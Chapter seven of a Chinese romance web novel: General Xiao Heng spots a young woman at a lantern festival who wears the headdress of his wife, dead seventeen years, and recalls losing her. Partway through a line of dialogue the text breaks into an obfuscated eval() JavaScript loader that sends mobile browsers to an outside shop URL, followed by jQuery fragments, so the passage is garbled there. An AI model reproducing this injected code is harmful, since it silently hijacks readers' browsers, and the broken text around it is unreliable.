第七章
若瑶画舫上的船夫也接话,“那紫衣人的跟随者中有不少是我们船行接待过的世家子弟呢,想必他就是了,真是好神气威风呀。”
“大将军的长得好俊美,就是气场太强了,我听闻外邦人说他是杀人不眨眼的大魔头,我都不敢多看。”画舫上也丫鬟婆子们也议论起来。
“可别乱说,定远大将军萧珩本是天潢贵胄,是当今官家的四叔,只不过他军功无数被加封为定远大将军,这封号的名气甚至盖过了他天潢贵胄的出身百姓都说他是战神,气场能不强大吗。”另一小厮道。
定远大将军萧珩?她听周围的人议论,忍不住抬头看向那传说中的战神。
今日的朱雀楼明灯三千,绚烂极了,南楼更是漫挂红纱彩绸,那人便站在繁华的最高处,最耀眼的地方。
约莫三十五六的年纪,一双浓黑的剑眉微凸,细长狭眸,高挺的鼻梁配上紧抿着的薄唇,冰冷的脸上尽显上位者的冷漠,他旁边的官员一直在热情的和他说些什么,他也只是淡漠一笑,让人揣度不了他的情绪,深色的紫衣上暗暗秀着的是皇室才可用的五爪蟒袍,往下看,他左手一直摩挲拇指上的什么,隔的有些距离,看不太清楚,似乎是一个扳指玉。
战神不愧是战神,真像那船夫说得神气又威风,若瑶心里忍不住的感叹。
“烟花要开始了!”明月激动的大喊,若瑶也收回目光转身向河对岸看去。
夜幕之下下重头戏开场了。
一群人挂了许多巨大的灯盒在那十几米高的杆子上,一点火,那灯盒子就如变戏法般一节一节的往下掉,有的灯盒子掉出来是个嫦娥仙子,有的掉出来是天官赐福的紫微大帝,还有水神河伯,主宰世间生死的大司命,掌管人间子嗣的少司命…除神之外,还有的灯盒子里是憨态可掬的小猫小狗小兔子,一个一个灯花全都栩栩如生。
那些灯盒里的神仙有的可以动,有的还能眨眼,群仙际会,犹如看见天宫秘境,若瑶只听此起彼伏的惊叹声响绝河面。
随着最后一盏灯盒落下,烟花引子冉冉升空,若瑶惊得捂住了嘴吧,随着“嘭”的一声,划开天空,烟火绽放,把天空点缀得尤如白昼。
满天星辰散落,东风夜放花千树,越来越多的烟花升空,河面上空柔如色彩斑斓的画卷,真是美不胜收,烟花表演进入到高潮,若瑶从未见过这么盛大的烟花表演,一时间看呆了起来。
她根本发现不了一双幽暗的目光正在盯着自己。
起初他是没注意到下方河面上的女子,只是她一身鲜红,在烟火的照耀下属实惹眼,想不注意都难,定眼一看,那女子额头上带的居然是阿勒邱的额饰!那是他的妻,早在十七年前就死了,死在了墨格王城之下。萧珩眼里布满的猩红,死死的盯着她,他迫切的想抓起那女子看看,她究竟是不是阿勒邱!
若瑶本来就白,那眉上的红色三角额饰衬得她更加雪白,烟火的光芒一瞬一暗的照耀在她笑颜上,她像那广寒宫的高岭之花美得失真,好在她气血足,脸颊上的红晕又娇俏可人,才让她的美回到人间。
“那人是谁?”萧珩指着若瑶的画舫,似是不经意间问道。
身后的官员们刚才还在谈笑风生,此刻全都鸦雀无声如临大敌。
“这……”
见无人敢开口应答,胡子花白的节度使房龄眸光流转,难道殿下是看上了那个女子?
“下官有所不知呀,稍后查明立刻回禀殿下。”说完向一旁的刺史周密使了个眼色。
正当周密会意打算交待下去的时候,人群后方的一男人连忙往前面蹭,脚步都有些不稳下跪道;“殿下,下官认得那画舫上的女子。”
众人的眼光齐齐看向下跪的黄衣男子。
“哦?还不速速禀明殿下。”周密连忙发话,随既又恭敬朝着萧珩道:“殿下,此人是檀知州檀大人的公子。”
萧珩掀了掀眼皮,扫了一眼下跪那人,似是有些不耐烦。
那檀二虽是想在萧珩面前露个脸,抢个立功的机会,但真对上萧珩的眼神,真是吓得浑身发抖,说话都有些哆嗦:“回,回禀殿下,那女子是,是上京林府的娘子,姓徐,下官也是方才猜灯谜的时候与她有过一面之缘。”
“一面之缘就记下了对方姓什名谁?”萧珩冷冷出声。
“下官……。”
檀二额上已全是细细的汗珠,他自然是不能说出是因为那小妇人身材姣好,自己猜想她定然是美人的缘故才细心留意的。
“下官是看那徐娘子博古通今饱读诗书,竟然能猜中不少西域的生僻灯谜才为她的才情所钦佩,才关注到她。”
檀二此刻绞尽脑汁才编了这个理由,此刻是后悔不已,他为什么这么冲动跑来出头,万一殿下一个不高兴他za人头不保也是有可能的呀,他可不想死呀。
“西域的灯谜,有意思,你说说看。”萧珩淡然一笑,没人注意到他袖口里摸着扳指的手臂已然是青筋暴起。
“这,下官……”檀二简直要哭出声来了,他那里记得那灯谜题目是什么,他只顾着看那徐娘子的曼妙身姿,和她答题时露出的细细脖颈了呀。
“说!”萧珩拧眉,语气加重。
河面上的烟花还在绚丽的绽放,可南楼上的官员们只觉得此刻落针可闻,一个个面面相觑紧张得大气都不敢出。
檀二也觉得自己已经人头分离,脑子一片空白慌忙的答道:“下官,下官只记得那徐娘子写的灯谜是,是什么拜占庭,阿普三多。”
拜占庭的珠宝镶嵌技巧华丽成熟,西域各国贵族的珠宝首饰大多来自那里,阿普三多则是龙骨雪山的化身,是墨格人民心中的守护天神。
她真是阿勒邱?否则一个东洵国的女子怎知那西域之事。
见萧珩迟迟不发话,檀二心脏狂跳,行了个跪拜大礼,全身匍匐在地惶恐不安道:“下官该死,下官不记得那徐娘子猜的什么灯谜了,殿下饶命。”
萧珩一个摆手,右手划在空中,带着上位者的压迫:“无妨,只是听闻这蓉城猜灯谜的习俗已久,有些感兴趣罢了。”
他刚回东洵,不知道多少双眼睛盯着他,在蓉城这兔儿节上他不会做的太过分的。
房龄曾跟随萧珩西北道任职三年,自然是知道他的言下之意便一抹花白的胡子笑道:“殿下对灯谜感兴趣,亲近蓉城百姓,实乃百姓之福,下官不才去年也猜了灯谜,没夺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259435|139811||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得彩头回去,家里那四岁的孙女可是好一通闹腾呢。”说罢两手一摊装作那可惜无奈状。
“哈哈哈哈哈。”身后的官员附和的笑道。
刚才还紧张的氛围瞬间缓解。
周密笑笑也接话;“是呀蓉城的灯谜种类最是繁多,小到一日三餐,大到天宫万象,房大人政务繁忙猜不中也是情理之中,殿下对蓉城的灯谜感兴趣,下官这就命人去把灯谜送与殿下驿馆上。”
说罢就行李告退去安排了。
周密是个聪明人很懂为官之道,和房龄对视了一眼,房龄便知道他一定能把下方画舫上那徐娘子一起为殿下安排了。
萧珩眉目微舒,骨节分明的食指在扳指上转动,转身又临河继续看那烟花绽放,仿佛刚才小插曲没出现过一样,只是那鹰一样晦暗如墨的眼神不时会看向那下方红色的身影,自己魔怔了嘛,那甲板上蹦蹦跳跳的小妇人怎么会是她呢。
西域,额饰或许又是巧合罢了,他梦里常常梦到他的妻回来了,可是总归是会梦醒的,他经受不起一次又一次失去她的打击了。
太久远了,整整过去了十七年,萧珩目光放远似是在回忆什么美好的东西,而那些回忆早就被他珍藏着,反复怀念了一遍又一遍。
他的发妻阿勒邱,别人都说她是龙骨山上坚强的雪莲花,起初他也是这样认为的。
她对他包容又温柔,那时他是还是墨格王朝的质子,她将王府,下属的子民还有他都照顾得很好,领属的百姓都很爱戴她。可是墨格有无数双恶狼一样的眼睛盯着他,他总有一天要离开的,他没办法对她好,护住她唯一的办法便是将她推开。
那时他左腿有隐疾,每到下雪天那绵密的蚀骨之疼让他难以入睡,阿勒邱每次都会不厌其烦的给他按摩,用体温抱着他的腿哄着他入睡,这里是异国,他的心只有听着阿勒邱温柔的唱着小调时才能稍做安歇,他内心早就狂热的爱上她了,只是那时年少不知,第二天一早就会冷着个脸将她推开。
讥讽她,辱骂她,那时候他天真的以为这样就可以让那些对自己虎视眈眈的人放过她,那时太年轻了,其实有更好的处理办法的,成婚三年他从未给过她好脸色,直到后来起事兵变,他终是忍不住怕失去她。
听闻墨格人民信奉神明阿普三多,凡在雪山前立誓,必当生死践诺,他便拉着阿勒邱到爬上了神圣的龙骨雪山上发誓,他一定会回来接她,让她信他,别去王城呆在王府。
后来墨格覆灭,他也拿到军功,大权在握,意气风发可以回朝了,只是这天他的妻子却没有听他的话,没在王府乖乖等他。
萧珩着急打马而去,看着那火海中的墨格王城他顿时慌了心神,他的妻子在里面,阿勒邱被骗进去了!
萧珩高山一样的身躯几欲倾塌,墨格王城里早就没有活口了,连尸体上的衣服首饰都被搜刮得一干二净,他在尸骸堆里翻了无数遍才将她找到,她只着着薄薄的里衣,发丝凌乱全身污血,她不是雪山上最坚强的雪莲花吗,怎么此刻会没有生气,如同提线木偶一般躺在自己的怀里。
烟雾蒙蒙,萧珩抱着她踉跄前行,看不清脚下的路,他比孩子还哭得无助,有没有人能救救他的妻啊……